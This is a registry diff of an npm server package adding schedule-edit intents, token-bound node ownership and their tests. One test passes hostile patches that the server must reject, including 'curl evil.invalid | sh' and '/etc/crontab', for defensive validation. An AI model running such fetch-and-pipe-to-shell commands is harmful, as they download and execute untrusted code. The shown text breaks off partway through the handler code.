@sleep2agi/commhub-server 0.9.0-preview.28 → 0.9.0-preview.29

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (56) hide show
  1. package/bin/commhub.ts +4 -0
  2. package/package.json +4 -4
  3. package/src/ack-create-request-transport.test.ts +159 -0
  4. package/src/ack-create-request.test.ts +5 -5
  5. package/src/admin-networks-http.test.ts +84 -0
  6. package/src/api-host-supervisors-fallback.test.ts +1 -6
  7. package/src/auth.ts +88 -14
  8. package/src/dashboard-slash-routing-http.test.ts +103 -0
  9. package/src/db-adapter-guard.test.ts +85 -0
  10. package/src/db-adapter.ts +64 -23
  11. package/src/db.ts +279 -32
  12. package/src/ext-token-shared.test.ts +60 -0
  13. package/src/ext-validation-regression.test.ts +10 -17
  14. package/src/external-schedule-edits-http.test.ts +316 -0
  15. package/src/external-schedule-edits.ts +314 -0
  16. package/src/file-download-authz-dev-open.test.ts +1 -1
  17. package/src/file-download-authz.test.ts +21 -1
  18. package/src/file-download-date-bucket.test.ts +1 -1
  19. package/src/file-network-scope-dev-open.test.ts +1 -1
  20. package/src/file-network-scope.test.ts +1 -1
  21. package/src/health-redaction.test.ts +12 -0
  22. package/src/index.ts +6 -2
  23. package/src/network-name-http.test.ts +71 -0
  24. package/src/network-scope.ts +20 -0
  25. package/src/node-attrs.test.ts +1 -1
  26. package/src/peer-reply-atomic.test.ts +455 -0
  27. package/src/peer-reply-capability.test.ts +70 -0
  28. package/src/require-explicit-test-db.ts +9 -0
  29. package/src/rest-explicit-columns-http.test.ts +149 -0
  30. package/src/rest-identity.test.ts +120 -0
  31. package/src/rest-identity.ts +93 -0
  32. package/src/rest-projections.ts +67 -0
  33. package/src/scheduled-run-terminal.test.ts +268 -0
  34. package/src/scheduled-tasks-http.test.ts +460 -0
  35. package/src/scheduled-tasks.ts +538 -0
  36. package/src/send-reply-agent-warning.test.ts +38 -38
  37. package/src/server.ts +315 -60
  38. package/src/shared/external-schedule-contract.ts +60 -0
  39. package/src/skillhub-http.test.ts +88 -0
  40. package/src/task-auth-origin-http.test.ts +87 -0
  41. package/src/task-auth-origin.test.ts +24 -0
  42. package/src/task-auth-origin.ts +7 -0
  43. package/src/task-consumption.test.ts +329 -0
  44. package/src/task-diagnostic-http.test.ts +145 -0
  45. package/src/task-diagnostic.test.ts +82 -0
  46. package/src/task-diagnostic.ts +89 -0
  47. package/src/task-idempotency-mcp.test.ts +137 -0
  48. package/src/task-idempotency.test.ts +60 -0
  49. package/src/task-idempotency.ts +75 -0
  50. package/src/task-lifecycle-watcher.test.ts +160 -0
  51. package/src/task-lifecycle-watcher.ts +49 -0
  52. package/src/task-network-resolution-http.test.ts +137 -0
  53. package/src/tasks-pagination-http.test.ts +137 -0
  54. package/src/tools.ts +635 -107
  55. package/src/uploads-http.test.ts +1 -3
  56. package/src/uploads.ts +14 -3
@@ -1,23 +1,16 @@
1
1
  // Task #25 — regression pins for ext validation in validateIndexEntry.
2
2
  //
3
- // 🔴 SCOPE (lead d505179d): this suite covers ONLY the ext regex copy
4
- // inside `validateIndexEntry` (uploads.ts). The same-shape regex has
5
- // FOUR copies in this file:
6
- // • L93 sanitizeExt /\.([A-Za-z0-9]{1,16})$/ (client-name parse; no leading-dot anchor, captures group)
7
- // • L141 buildStoragePath /^\.[A-Za-z0-9]{1,16}$/ (upload-path build)
8
- // • L165 pathForExistingBlob /^\.[A-Za-z0-9]{1,16}$/ (download-path build)
9
- // • L219 validateIndexEntry /^\.[A-Za-z0-9]{1,16}$/ ← THIS SUITE
10
- // Mutation reversal proved the other three copies get ZERO coverage
11
- // from this suite (each was widened to `/./` in turn — this suite still
12
- // passed 30/0). See docs/tests/p-25-ext-regression/mutation-red.txt.
13
- // Do NOT read the file name "ext validation regression" as "the ext
14
- // validation is regression-protected" — the ext validation exists in
15
- // four independent copies and only ONE is pinned here.
16
- // Follow-up issue tracks the dedup/alignment evaluation (see PR body).
3
+ // 🔴 SCOPE: this suite exercises the stored-index boundary through
4
+ // `validateIndexEntry`. Issue #527 removed the three independent copies
5
+ // of the stored extension-token grammar: buildStoragePath,
6
+ // pathForExistingBlob and validateIndexEntry now use one shared private
7
+ // validator. `ext-token-shared.test.ts` separately pins all three call
8
+ // sites. sanitizeExt remains intentionally independent because it parses
9
+ // a client filename rather than validating an already-extracted token.
17
10
  //
18
- // Background (通信龙 d01bb8ce): the current regex `/^\.[A-Za-z0-9]{1,16}$/`
19
- // in validateIndexEntry (uploads.ts) correctly rejects 11 known malicious
20
- // ext values (path-escape, traversal, absolute paths, doubles, NUL bytes,
11
+ // Background (通信龙 d01bb8ce): the stored extension-token grammar
12
+ // `/^\.[A-Za-z0-9]{1,16}$/` correctly rejects 11 known malicious ext
13
+ // values (path-escape, traversal, absolute paths, doubles, NUL bytes,
21
14
  // backslash forms, over-length, whitespace). Verified via real-run on
22
15
  // origin/main by lead — 11/11 malicious values → false.
23
16
  //
@@ -0,0 +1,316 @@
1
+ import { afterAll, beforeAll, describe, expect, test } from "bun:test";
2
+ import { mkdtempSync, rmSync } from "node:fs";
3
+ import { tmpdir } from "node:os";
4
+ import { join } from "node:path";
5
+ import { addNetworkMember, createNetworkTokenForNode, register } from "./auth.js";
6
+ import { db } from "./db.js";
7
+ import { upsertNodeWithSec1Guard } from "./tools.js";
8
+
9
+ const dir = mkdtempSync(join(tmpdir(), "anet-external-schedule-edits-"));
10
+ if (!process.env.COMMHUB_DB) throw new Error("test688 requires COMMHUB_DB before module import");
11
+
12
+ const stamp = `${process.pid}_${Date.now()}`;
13
+ const nodeId = `n_b4_${stamp}`;
14
+ const alias = `b4-node-${stamp}`;
15
+ const scheduleId = "managed-news-pull";
16
+ let server: any;
17
+ let base = "";
18
+ let networkId = "";
19
+ let adminToken = "";
20
+ let ownerToken = "";
21
+ let memberToken = "";
22
+ let nodeToken = "";
23
+ let foreignNodeToken = "";
24
+ let nodeTokenId = "";
25
+ let ownerId = "";
26
+ let memberId = "";
27
+
28
+ async function api(token: string, path: string, init?: RequestInit) {
29
+ const response = await fetch(`${base}${path}`, {
30
+ ...init,
31
+ headers: { Authorization: `Bearer ${token}`, "Content-Type": "application/json", ...(init?.headers || {}) },
32
+ });
33
+ return { status: response.status, body: await response.json() as any };
34
+ }
35
+
36
+ function snapshot(revision: number, extra: Record<string, unknown> = {}) {
37
+ return JSON.stringify({
38
+ observed_at: new Date().toISOString(),
39
+ schedules: [{
40
+ id: scheduleId,
41
+ name: "Pull X news",
42
+ kind: "cron",
43
+ frequency: "0 */6 * * *",
44
+ status: "active",
45
+ enabled: true,
46
+ editable: true,
47
+ revision,
48
+ log_ref: "grok-news.log",
49
+ ...extra,
50
+ }],
51
+ });
52
+ }
53
+
54
+ beforeAll(async () => {
55
+ const admin = register(`b4_admin_${stamp}`, "B4Admin123!", undefined, "B4 Admin");
56
+ const owner = register(`b4_owner_${stamp}`, "B4Owner123!", undefined, "B4 Owner");
57
+ const member = register(`b4_member_${stamp}`, "B4Member123!", undefined, "B4 Member");
58
+ expect(admin.ok && owner.ok && member.ok).toBe(true);
59
+ adminToken = admin.token!;
60
+ ownerToken = owner.token!;
61
+ memberToken = member.token!;
62
+ networkId = admin.network_id!;
63
+ const adminId = admin.user!.user_id;
64
+ ownerId = owner.user!.user_id;
65
+ memberId = member.user!.user_id;
66
+ expect(addNetworkMember(networkId, ownerId, "member", adminId).ok).toBe(true);
67
+ expect(addNetworkMember(networkId, memberId, "member", adminId).ok).toBe(true);
68
+
69
+ const minted = createNetworkTokenForNode(ownerId, networkId, alias, nodeId);
70
+ expect(minted.ok).toBe(true);
71
+ nodeToken = minted.token!;
72
+ nodeTokenId = minted.token_id!;
73
+ const foreign = createNetworkTokenForNode(memberId, networkId, `foreign-${alias}`, `n_foreign_${stamp}`);
74
+ expect(foreign.ok).toBe(true);
75
+ foreignNodeToken = foreign.token!;
76
+
77
+ db.run(
78
+ `INSERT INTO sessions (resume_id, alias, status, node_id, network_id, external_schedules, updated_at)
79
+ VALUES (?1, ?2, 'idle', ?3, ?4, ?5, datetime('now'))`,
80
+ [`r_b4_${stamp}`, alias, nodeId, networkId, snapshot(7)],
81
+ );
82
+
83
+ const mod: any = await import("./server.js");
84
+ server = mod.bootServer({ port: 0, hostname: "127.0.0.1" });
85
+ base = `http://127.0.0.1:${server.port}`;
86
+ });
87
+
88
+ afterAll(() => {
89
+ try { server?.stop?.(true); } catch {}
90
+ try { rmSync(dir, { recursive: true, force: true }); } catch {}
91
+ });
92
+
93
+ describe("RFC-036 exact-owner external schedule edit intents", () => {
94
+ test("ownership is pinned at node-token mint and cannot be stolen", () => {
95
+ const node = db.get<any>("SELECT owner_user_id, network_id FROM nodes WHERE node_id = ?1", nodeId)!;
96
+ expect(node.owner_user_id).toBe(ownerId);
97
+ expect(node.network_id).toBe(networkId);
98
+ const ownerAudit = db.get<any>("SELECT detail FROM audit_log WHERE action = 'external_schedule.owner_claimed' AND target_id = ?1", nodeId)!;
99
+ expect(ownerAudit).toBeTruthy();
100
+ expect(JSON.parse(ownerAudit.detail)).toEqual({ node_id: nodeId, network_id: networkId });
101
+ const theft = createNetworkTokenForNode(memberId, networkId, alias, nodeId);
102
+ expect(theft).toEqual({ ok: false, error: "node_owner_mismatch" });
103
+
104
+ const legacy = createNetworkTokenForNode(ownerId, networkId, `${alias}-legacy`);
105
+ expect(legacy.ok).toBe(true);
106
+ expect(db.get<any>("SELECT bound_node_id FROM api_tokens WHERE token_id = ?1", legacy.token_id!)!.bound_node_id).toBeNull();
107
+ });
108
+
109
+ test("the real node-token HTTP endpoint requires and persists the immutable node binding", async () => {
110
+ const httpNodeId = `n_b4_http_${stamp}`;
111
+ const minted = await api(ownerToken, "/api/auth/node-token", {
112
+ method: "POST",
113
+ body: JSON.stringify({ network_id: networkId, node_name: `${alias}-http`, node_id: httpNodeId }),
114
+ });
115
+ expect(minted.status).toBe(200);
116
+ expect(minted.body.node_id).toBe(httpNodeId);
117
+ expect(db.get<any>("SELECT owner_user_id FROM nodes WHERE node_id = ?1", httpNodeId)!.owner_user_id).toBe(ownerId);
118
+ const resolved = db.get<any>("SELECT bound_node_id FROM api_tokens WHERE token_id = ?1", minted.body.token_id)!;
119
+ expect(resolved.bound_node_id).toBe(httpNodeId);
120
+ });
121
+
122
+ test("report_status verifies an owner binding but never first-claims a legacy node", () => {
123
+ expect(upsertNodeWithSec1Guard({
124
+ node_id: nodeId,
125
+ callerNetworkId: networkId,
126
+ callerUserId: ownerId,
127
+ callerTokenId: nodeTokenId,
128
+ alias,
129
+ runtime: "codex-app-server",
130
+ }).result).toBe("updated");
131
+ const wrongOwner = upsertNodeWithSec1Guard({
132
+ node_id: nodeId,
133
+ callerNetworkId: networkId,
134
+ callerUserId: memberId,
135
+ callerTokenId: nodeTokenId,
136
+ alias,
137
+ });
138
+ expect(wrongOwner).toMatchObject({ result: "refused", reason: "owner_mismatch" });
139
+
140
+ const legacyNodeId = `n_b4_legacy_${stamp}`;
141
+ db.run(
142
+ "INSERT INTO nodes (node_id, node_name, alias, network_id) VALUES (?1, ?2, ?2, ?3)",
143
+ [legacyNodeId, `${alias}-legacy`, networkId],
144
+ );
145
+ expect(upsertNodeWithSec1Guard({
146
+ node_id: legacyNodeId,
147
+ callerNetworkId: networkId,
148
+ callerUserId: ownerId,
149
+ alias: `${alias}-legacy`,
150
+ runtime: "claude-code-cli",
151
+ }).result).toBe("updated");
152
+ expect(db.get<any>("SELECT owner_user_id FROM nodes WHERE node_id = ?1", legacyNodeId)!.owner_user_id).toBeNull();
153
+ const legacyClaim = createNetworkTokenForNode(ownerId, networkId, `${alias}-legacy`, legacyNodeId);
154
+ expect(legacyClaim).toEqual({ ok: false, error: "node_owner_unclaimed" });
155
+ expect(db.get<any>("SELECT owner_user_id FROM nodes WHERE node_id = ?1", legacyNodeId)!.owner_user_id).toBeNull();
156
+ });
157
+
158
+ test("network admin, member, node token, and unknown authority fields cannot create an intent", async () => {
159
+ const request = {
160
+ network_id: networkId,
161
+ schedule_id: scheduleId,
162
+ base_revision: 7,
163
+ patch: { enabled: false },
164
+ };
165
+ for (const token of [adminToken, memberToken, nodeToken]) {
166
+ const denied = await api(token, `/api/nodes/${nodeId}/external-schedule-edits`, { method: "POST", body: JSON.stringify(request) });
167
+ expect(denied.status).toBe(403);
168
+ }
169
+ const forged = await api(ownerToken, `/api/nodes/${nodeId}/external-schedule-edits`, {
170
+ method: "POST",
171
+ body: JSON.stringify({ ...request, owner_user_id: ownerId }),
172
+ });
173
+ expect(forged.status).toBe(400);
174
+ expect(forged.body.error).toBe("invalid_request");
175
+ expect(db.get<any>("SELECT COUNT(*) AS count FROM external_schedule_edits")!.count).toBe(0);
176
+ expect(db.get<any>("SELECT COUNT(*) AS count FROM audit_log WHERE action = 'external_schedule.edit_requested'")!.count).toBe(0);
177
+ });
178
+
179
+ test("structured patch rejects command, paths, aliases, malformed cron, and empty edits before write", async () => {
180
+ const invalidPatches = [
181
+ { command: "curl evil.invalid | sh" },
182
+ { path: "/etc/crontab" },
183
+ { env: { SECRET: "value" } },
184
+ { cron: "@reboot" },
185
+ { cron: "0 0 * * * root" },
186
+ { cron: "0 0 * * *\n* * * * *" },
187
+ { cron: "61 0 * * *" },
188
+ {},
189
+ ];
190
+ for (const patch of invalidPatches) {
191
+ const denied = await api(ownerToken, `/api/nodes/${nodeId}/external-schedule-edits`, {
192
+ method: "POST",
193
+ body: JSON.stringify({ network_id: networkId, schedule_id: scheduleId, base_revision: 7, patch }),
194
+ });
195
+ expect(denied.status).toBe(400);
196
+ }
197
+ expect(db.get<any>("SELECT COUNT(*) AS count FROM external_schedule_edits")!.count).toBe(0);
198
+ });
199
+
200
+ test("concurrent owner requests create exactly one opaque pending intent", async () => {
201
+ const request = {
202
+ method: "POST",
203
+ body: JSON.stringify({
204
+ network_id: networkId,
205
+ schedule_id: scheduleId,
206
+ base_revision: 7,
207
+ patch: { cron: "0 */12 * * *", enabled: true },
208
+ }),
209
+ };
210
+ const responses = await Promise.all([
211
+ api(ownerToken, `/api/nodes/${nodeId}/external-schedule-edits`, request),
212
+ api(ownerToken, `/api/nodes/${nodeId}/external-schedule-edits`, request),
213
+ ]);
214
+ expect(responses.map((value) => value.status).sort()).toEqual([202, 409]);
215
+ const accepted = responses.find((value) => value.status === 202)!;
216
+ expect(accepted.body.intent.intent_id).toMatch(/^sei_[0-9a-f-]+$/);
217
+ expect(accepted.body.intent.patch).toEqual({ enabled: true, cron: "0 */12 * * *" });
218
+ expect(accepted.body.intent.created_by_user).toBeUndefined();
219
+ expect(accepted.body.intent.created_by_token).toBeUndefined();
220
+ expect(db.get<any>("SELECT COUNT(*) AS count FROM external_schedule_edits")!.count).toBe(1);
221
+
222
+ const audit = db.get<any>("SELECT detail FROM audit_log WHERE action = 'external_schedule.edit_requested'")!;
223
+ expect(audit).toBeTruthy();
224
+ expect(audit.detail).not.toContain("curl");
225
+ expect(audit.detail).not.toContain("/etc/");
226
+ expect(audit.detail).not.toContain("utok_");
227
+ expect(JSON.parse(audit.detail).fields).toEqual(["cron", "enabled"]);
228
+ });
229
+
230
+ test("only the exact bound node token can claim; lost-response pull and terminal ack are idempotent", async () => {
231
+ const foreign = await api(foreignNodeToken, `/api/nodes/${nodeId}/external-schedule-edits/pending`);
232
+ expect(foreign.status).toBe(403);
233
+ expect(foreign.body.error).toBe("node_token_binding_required");
234
+
235
+ const first = await api(nodeToken, `/api/nodes/${nodeId}/external-schedule-edits/pending`);
236
+ expect(first.status).toBe(200);
237
+ expect(first.body.intent.status).toBe("delivered");
238
+ const intentId = first.body.intent.intent_id;
239
+ const repeated = await api(nodeToken, `/api/nodes/${nodeId}/external-schedule-edits/pending`);
240
+ expect(repeated.body.intent.intent_id).toBe(intentId);
241
+
242
+ const wrongRevision = await api(nodeToken, `/api/nodes/${nodeId}/external-schedule-edits/${intentId}/ack`, {
243
+ method: "POST", body: JSON.stringify({ status: "applied", result_revision: 99 }),
244
+ });
245
+ expect(wrongRevision.status).toBe(409);
246
+ expect(wrongRevision.body.error).toBe("invalid_result_revision");
247
+
248
+ const applied = await api(nodeToken, `/api/nodes/${nodeId}/external-schedule-edits/${intentId}/ack`, {
249
+ method: "POST", body: JSON.stringify({ status: "applied", result_revision: 8 }),
250
+ });
251
+ expect(applied.status).toBe(200);
252
+ expect(applied.body.intent.status).toBe("applied");
253
+ const retried = await api(nodeToken, `/api/nodes/${nodeId}/external-schedule-edits/${intentId}/ack`, {
254
+ method: "POST", body: JSON.stringify({ status: "applied", result_revision: 8 }),
255
+ });
256
+ expect(retried.status).toBe(200);
257
+ expect(retried.body.idempotent).toBe(true);
258
+ const contradictory = await api(nodeToken, `/api/nodes/${nodeId}/external-schedule-edits/${intentId}/ack`, {
259
+ method: "POST", body: JSON.stringify({ status: "rejected", error_code: "local_apply_failed" }),
260
+ });
261
+ expect(contradictory.status).toBe(409);
262
+ expect(contradictory.body.error).toBe("intent_already_terminal");
263
+ expect(db.get<any>("SELECT COUNT(*) AS count FROM audit_log WHERE action = 'external_schedule.edit_applied'")!.count).toBe(1);
264
+ });
265
+
266
+ test("a delivered intent expires with its TTL and cannot permanently wedge single-flight", async () => {
267
+ db.run("UPDATE sessions SET external_schedules = ?1, updated_at = datetime('now', '+1 second') WHERE node_id = ?2", [snapshot(8), nodeId]);
268
+ const created = await api(ownerToken, `/api/nodes/${nodeId}/external-schedule-edits`, {
269
+ method: "POST",
270
+ body: JSON.stringify({ network_id: networkId, schedule_id: scheduleId, base_revision: 8, patch: { enabled: false } }),
271
+ });
272
+ expect(created.status).toBe(202);
273
+ const claimed = await api(nodeToken, `/api/nodes/${nodeId}/external-schedule-edits/pending`);
274
+ expect(claimed.body.intent.intent_id).toBe(created.body.intent.intent_id);
275
+ db.run("UPDATE external_schedule_edits SET expires_at = ?1 WHERE intent_id = ?2", [Date.now() - 1, created.body.intent.intent_id]);
276
+ const afterExpiry = await api(nodeToken, `/api/nodes/${nodeId}/external-schedule-edits/pending`);
277
+ expect(afterExpiry.body.intent).toBeNull();
278
+ expect(db.get<any>("SELECT status FROM external_schedule_edits WHERE intent_id = ?1", created.body.intent.intent_id)!.status).toBe("expired");
279
+
280
+ const replacement = await api(ownerToken, `/api/nodes/${nodeId}/external-schedule-edits`, {
281
+ method: "POST",
282
+ body: JSON.stringify({ network_id: networkId, schedule_id: scheduleId, base_revision: 8, patch: { enabled: false } }),
283
+ });
284
+ expect(replacement.status).toBe(202);
285
+ db.run("DELETE FROM external_schedule_edits WHERE intent_id IN (?1, ?2)", [created.body.intent.intent_id, replacement.body.intent.intent_id]);
286
+ });
287
+
288
+ test("stale snapshot revision and read-only schedules fail closed without creating intent", async () => {
289
+ db.run("UPDATE sessions SET external_schedules = ?1, updated_at = datetime('now', '+1 second') WHERE node_id = ?2", [snapshot(8), nodeId]);
290
+ const stale = await api(ownerToken, `/api/nodes/${nodeId}/external-schedule-edits`, {
291
+ method: "POST",
292
+ body: JSON.stringify({ network_id: networkId, schedule_id: scheduleId, base_revision: 7, patch: { enabled: false } }),
293
+ });
294
+ expect(stale.status).toBe(409);
295
+ expect(stale.body.error).toBe("revision_conflict");
296
+
297
+ db.run("UPDATE sessions SET external_schedules = ?1, updated_at = datetime('now', '+2 second') WHERE node_id = ?2", [snapshot(8, { editable: false }), nodeId]);
298
+ const readOnly = await api(ownerToken, `/api/nodes/${nodeId}/external-schedule-edits`, {
299
+ method: "POST",
300
+ body: JSON.stringify({ network_id: networkId, schedule_id: scheduleId, base_revision: 8, patch: { enabled: false } }),
301
+ });
302
+ expect(readOnly.status).toBe(409);
303
+ expect(readOnly.body.error).toBe("schedule_read_only");
304
+ expect(db.get<any>("SELECT COUNT(*) AS count FROM external_schedule_edits")!.count).toBe(1);
305
+ });
306
+
307
+ test("owner history exposes no identity, token, network, or command metadata", async () => {
308
+ const listed = await api(ownerToken, `/api/nodes/${nodeId}/external-schedule-edits?network_id=${encodeURIComponent(networkId)}`);
309
+ expect(listed.status).toBe(200);
310
+ expect(listed.body.edits).toHaveLength(1);
311
+ const serialized = JSON.stringify(listed.body);
312
+ for (const secretField of ["created_by_user", "created_by_token", "consumed_by_token", "network_id", "command", "path", "env"]) {
313
+ expect(serialized).not.toContain(secretField);
314
+ }
315
+ });
316
+ });
@@ -0,0 +1,314 @@
1
+ import { db } from "./db.js";
2
+ import { getUserNetworkRole } from "./auth.js";
3
+ import { pushEvent } from "./push.js";
4
+ import { parseExternalSchedulePatch, type ExternalSchedulePatch } from "./shared/external-schedule-contract.js";
5
+
6
+ type Auth = {
7
+ userId: string;
8
+ networkId: string | null;
9
+ username: string;
10
+ tokenId: string | null;
11
+ } | null;
12
+
13
+ export type ExternalScheduleEditContext = {
14
+ req: Request;
15
+ url: URL;
16
+ auth: Auth;
17
+ isUserToken: boolean;
18
+ isNodeToken: boolean;
19
+ };
20
+
21
+ type NodeRow = {
22
+ node_id: string;
23
+ alias: string | null;
24
+ network_id: string | null;
25
+ owner_user_id: string | null;
26
+ };
27
+
28
+ type EditRow = {
29
+ intent_id: string;
30
+ network_id: string;
31
+ node_id: string;
32
+ schedule_id: string;
33
+ base_revision: number;
34
+ patch_json: string;
35
+ status: string;
36
+ expires_at: number;
37
+ created_at: number;
38
+ delivered_at: number | null;
39
+ acked_at: number | null;
40
+ created_by_user: string;
41
+ created_by_token: string;
42
+ consumed_by_token: string | null;
43
+ result_revision: number | null;
44
+ error_code: string | null;
45
+ };
46
+
47
+ const INTENT_TTL_MS = 5 * 60_000;
48
+ const NODE_ID_RE = /^[A-Za-z0-9][A-Za-z0-9._-]{0,199}$/;
49
+ const SCHEDULE_ID_RE = /^[A-Za-z0-9][A-Za-z0-9._-]{0,127}$/;
50
+
51
+ function error(error: string, status: number, extra: Record<string, unknown> = {}): Response {
52
+ return Response.json({ ok: false, error, ...extra }, { status });
53
+ }
54
+
55
+ async function bodyObject(req: Request): Promise<Record<string, unknown>> {
56
+ const value = await req.json();
57
+ if (!value || typeof value !== "object" || Array.isArray(value)) throw new Error("invalid_json");
58
+ return value as Record<string, unknown>;
59
+ }
60
+
61
+ function exactKeys(obj: Record<string, unknown>, allowed: readonly string[]): boolean {
62
+ const set = new Set(allowed);
63
+ return Object.keys(obj).every((key) => set.has(key));
64
+ }
65
+
66
+ function nodeRow(nodeId: string): NodeRow | null {
67
+ return db.get<NodeRow>(
68
+ "SELECT node_id, alias, network_id, owner_user_id FROM nodes WHERE node_id = ?1",
69
+ nodeId,
70
+ ) ?? null;
71
+ }
72
+
73
+ function requireOwner(ctx: ExternalScheduleEditContext, node: NodeRow, networkId: unknown): Response | null {
74
+ if (!ctx.isUserToken || !ctx.auth?.tokenId) return error("user_token_required", 403);
75
+ if (!node.owner_user_id) return error("node_owner_unclaimed", 409);
76
+ if (ctx.auth.userId !== node.owner_user_id) return error("node_owner_required", 403);
77
+ if (typeof networkId !== "string" || networkId !== node.network_id) return error("cross_network_node", 403);
78
+ if (!getUserNetworkRole(ctx.auth.userId, networkId)) return error("network_membership_required", 403);
79
+ return null;
80
+ }
81
+
82
+ function requireBoundNode(ctx: ExternalScheduleEditContext, node: NodeRow): Response | null {
83
+ if (!ctx.isNodeToken || !ctx.auth?.tokenId) return error("network_token_required", 403);
84
+ const token = db.get<{ token_id: string; user_id: string; network_id: string | null; name: string; bound_node_id: string | null }>(
85
+ "SELECT token_id, user_id, network_id, name, bound_node_id FROM api_tokens WHERE token_id = ?1",
86
+ ctx.auth.tokenId,
87
+ );
88
+ if (!token || token.bound_node_id !== node.node_id || token.network_id !== node.network_id || token.user_id !== node.owner_user_id) {
89
+ return error("node_token_binding_required", 403);
90
+ }
91
+ return null;
92
+ }
93
+
94
+ function reportedSchedule(node: NodeRow, scheduleId: string): Record<string, unknown> | null {
95
+ const row = db.get<{ external_schedules: string }>(
96
+ `SELECT external_schedules FROM sessions
97
+ WHERE node_id = ?1 AND network_id = ?2 AND external_schedules IS NOT NULL
98
+ ORDER BY updated_at DESC LIMIT 1`,
99
+ node.node_id,
100
+ node.network_id,
101
+ );
102
+ if (!row) return null;
103
+ try {
104
+ const snapshot = JSON.parse(row.external_schedules) as any;
105
+ if (!Array.isArray(snapshot?.schedules)) return null;
106
+ return snapshot.schedules.find((entry: any) => entry?.id === scheduleId) ?? null;
107
+ } catch {
108
+ return null;
109
+ }
110
+ }
111
+
112
+ function publicEdit(row: EditRow): Record<string, unknown> {
113
+ let patch: ExternalSchedulePatch = {};
114
+ try { patch = JSON.parse(row.patch_json); } catch {}
115
+ return {
116
+ intent_id: row.intent_id,
117
+ node_id: row.node_id,
118
+ schedule_id: row.schedule_id,
119
+ base_revision: row.base_revision,
120
+ patch,
121
+ status: row.status,
122
+ expires_at: new Date(row.expires_at).toISOString(),
123
+ created_at: new Date(row.created_at).toISOString(),
124
+ delivered_at: row.delivered_at ? new Date(row.delivered_at).toISOString() : null,
125
+ acked_at: row.acked_at ? new Date(row.acked_at).toISOString() : null,
126
+ result_revision: row.result_revision,
127
+ error_code: row.error_code,
128
+ };
129
+ }
130
+
131
+ function audit(
132
+ userId: string | null,
133
+ username: string | null,
134
+ action: string,
135
+ intentId: string,
136
+ networkId: string,
137
+ detail: Record<string, unknown>,
138
+ ): void {
139
+ db.run(
140
+ `INSERT INTO audit_log (user_id, username, action, target_type, target_id, detail, network_id)
141
+ VALUES (?1, ?2, ?3, 'external_schedule_edit', ?4, ?5, ?6)`,
142
+ [userId, username, action, intentId, JSON.stringify(detail), networkId],
143
+ );
144
+ }
145
+
146
+ function expireOpenIntents(node: NodeRow, now: number): void {
147
+ const expired = db.all<EditRow>(
148
+ "SELECT * FROM external_schedule_edits WHERE node_id = ?1 AND network_id = ?2 AND status IN ('pending', 'delivered') AND expires_at <= ?3",
149
+ node.node_id,
150
+ node.network_id,
151
+ now,
152
+ );
153
+ for (const row of expired) {
154
+ const changed = db.run(
155
+ "UPDATE external_schedule_edits SET status = 'expired', acked_at = ?1, error_code = 'intent_expired' WHERE intent_id = ?2 AND status IN ('pending', 'delivered') AND expires_at <= ?1",
156
+ [now, row.intent_id],
157
+ );
158
+ if (changed.changes === 1) {
159
+ audit(row.created_by_user, null, "external_schedule.edit_expired", row.intent_id, row.network_id, {
160
+ node_id: row.node_id, schedule_id: row.schedule_id, base_revision: row.base_revision, error_code: "intent_expired",
161
+ });
162
+ }
163
+ }
164
+ }
165
+
166
+ export async function handleExternalScheduleEditRequest(ctx: ExternalScheduleEditContext): Promise<Response | null> {
167
+ const match = ctx.url.pathname.match(/^\/api\/nodes\/([^/]+)\/external-schedule-edits(?:\/(pending|[^/]+)(?:\/(ack))?)?$/);
168
+ if (!match) return null;
169
+ const nodeId = decodeURIComponent(match[1]);
170
+ if (!NODE_ID_RE.test(nodeId)) return error("invalid_node_id", 400);
171
+ const tail = match[2] || null;
172
+ const ack = match[3] === "ack";
173
+ const node = nodeRow(nodeId);
174
+ if (!node) return error("node_not_found", 404);
175
+
176
+ if (tail === "pending" && ctx.req.method === "GET") {
177
+ const denied = requireBoundNode(ctx, node);
178
+ if (denied) return denied;
179
+ const now = Date.now();
180
+ const intent = db.transaction(() => {
181
+ expireOpenIntents(node, now);
182
+ const already = db.get<EditRow>(
183
+ `SELECT * FROM external_schedule_edits
184
+ WHERE node_id = ?1 AND network_id = ?2 AND status = 'delivered' AND consumed_by_token = ?3
185
+ ORDER BY delivered_at ASC LIMIT 1`,
186
+ node.node_id, node.network_id, ctx.auth!.tokenId,
187
+ );
188
+ if (already) return already;
189
+ const pending = db.get<EditRow>(
190
+ `SELECT * FROM external_schedule_edits
191
+ WHERE node_id = ?1 AND network_id = ?2 AND status = 'pending' AND expires_at > ?3
192
+ ORDER BY created_at ASC LIMIT 1`,
193
+ node.node_id, node.network_id, now,
194
+ );
195
+ if (!pending) return null;
196
+ const claimed = db.run(
197
+ `UPDATE external_schedule_edits SET status = 'delivered', delivered_at = ?1, consumed_by_token = ?2
198
+ WHERE intent_id = ?3 AND status = 'pending' AND expires_at > ?1`,
199
+ [now, ctx.auth!.tokenId, pending.intent_id],
200
+ );
201
+ if (claimed.changes !== 1) return null;
202
+ audit(pending.created_by_user, null, "external_schedule.edit_delivered", pending.intent_id, pending.network_id, {
203
+ node_id: pending.node_id, schedule_id: pending.schedule_id, base_revision: pending.base_revision,
204
+ });
205
+ return { ...pending, status: "delivered", delivered_at: now, consumed_by_token: ctx.auth!.tokenId };
206
+ });
207
+ return Response.json({ ok: true, intent: intent ? publicEdit(intent) : null });
208
+ }
209
+
210
+ if (tail && tail !== "pending" && ack && ctx.req.method === "POST") {
211
+ const denied = requireBoundNode(ctx, node);
212
+ if (denied) return denied;
213
+ let body: Record<string, unknown>;
214
+ try { body = await bodyObject(ctx.req); } catch { return error("invalid_json", 400); }
215
+ if (!exactKeys(body, ["status", "result_revision", "error_code"])) return error("invalid_ack", 400);
216
+ if (body.status !== "applied" && body.status !== "rejected") return error("invalid_ack", 400);
217
+ if (body.status === "applied" && !Number.isSafeInteger(body.result_revision)) return error("invalid_result_revision", 400);
218
+ if (body.status === "rejected" && body.result_revision !== undefined) return error("invalid_ack", 400);
219
+ if (body.error_code !== undefined && (typeof body.error_code !== "string" || !/^[a-z0-9_]{1,64}$/.test(body.error_code))) return error("invalid_error_code", 400);
220
+ const now = Date.now();
221
+ const result = db.transaction(() => {
222
+ const row = db.get<EditRow>("SELECT * FROM external_schedule_edits WHERE intent_id = ?1", tail);
223
+ if (!row || row.node_id !== node.node_id || row.network_id !== node.network_id || row.consumed_by_token !== ctx.auth!.tokenId) {
224
+ return { error: "intent_not_found", status: 404 } as const;
225
+ }
226
+ if (row.status === "applied" || row.status === "rejected") {
